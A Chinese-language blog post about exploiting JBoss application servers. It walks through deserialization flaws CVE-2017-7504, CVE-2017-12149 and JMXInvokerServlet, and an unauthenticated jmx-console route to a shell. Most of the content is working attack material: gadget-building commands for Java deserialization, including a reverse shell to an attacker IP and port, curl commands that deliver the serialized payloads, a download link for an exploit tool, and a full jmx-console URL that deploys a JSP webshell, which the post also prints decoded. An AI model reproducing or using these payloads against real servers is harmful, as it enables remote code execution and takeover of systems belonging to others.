中间件安全-jboss篇


前言

JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

jboss 4.x反序列化漏洞(CVE-2017-7504)

JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

漏洞影响范围是JBoss AS 4.x及之前版本

访问:http://yourip/jbossmq-httpil/HTTPServerILServlet如果显示如下图则可能存在漏洞。

可以使用该工具DeserializeExploit.jar,直接用该工具执行命令、上传文件。

或者使用vulhub官方使用的方法:

利用工具JavaDeserH2HC选择一个Gadget:ExampleCommonsCollections1WithHashMap执行命令

执行以下命令:

javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "你要执行的命令"

执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.ser,将该文件作为body发送如下数据包:

curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser

JBosS AS 6.X 反序列化漏洞CVE-2017-12149)

影响版本为jboss5.x-6.x

访问该页面http://192.168.92.128:8080/invoker/readonly如果出现如下的500错误页面说明漏洞可能存在:

漏洞利用

下载反序列化工具:http://scan.javasec.cn/java/JavaDeserH2HC.zip

执行命令:

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java 
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.124.155:1024(要反弹的主机和端口)
curl http://192.168.124.128:8080/invoker/readonly --data-binary@ReverseShellCommonsCollectionsHashMap.ser

成功反弹:

JMXInvokerServlet 反序列化漏洞

跟上面的利用方法一样,只是利用路径不一样,这个漏洞利用路径是 /invoker/EJBInvokerServlet

把路径修改一下payload发送过去即可拿到shell,这里不过过多的演示。

后台未授权getshell

在低版本中,默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码。

我们可以通过以下方法getshell

直接写入

payload:

http://ip/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True

url中的参数:arg0代表war包的名称,arg1=文件名称,arg2=文件后缀名,arg3=文件内容

将arg3的值取出来并url解码:

<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>

功能是写入文件,f=文件名,t=文件内容

写入1.jsp文件

http://ip/August/shell.jsp?f=1.jsp&t=(url编码的jsp木马代码)

访问1.jsp文件

http://ip/August/1.jsp


文章作者: EASY
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EASY !
 上一篇
内网渗透Windows下的信息收集总结 内网渗透Windows下的信息收集总结
前言在渗透测试中信息收集的深度与广度以及对关键信息的提取,直接或间接的决定了渗透测试的质量。这里对内网渗透的一些信息收集方法做一些总结,不定时更新~~ 系统信息收集系统信息关注操作系统,系统版本,系统类型(64位还是32位),查看补丁。 s
2020-09-22 EASY
下一篇 
中间件安全-IIS篇 中间件安全-IIS篇
前言IIS是一种Web(网页)服务组件,其中包bai括Web服务器、FTP服务器、NNTP服务器和SMTP服务器,分别用于网页浏览、文件传输、新闻服务和邮件发送等方面,它使得在网络(包括互联网和局域网)上发布信息成了一件很容易的事。 解析漏
2020-08-05 EASY
  目录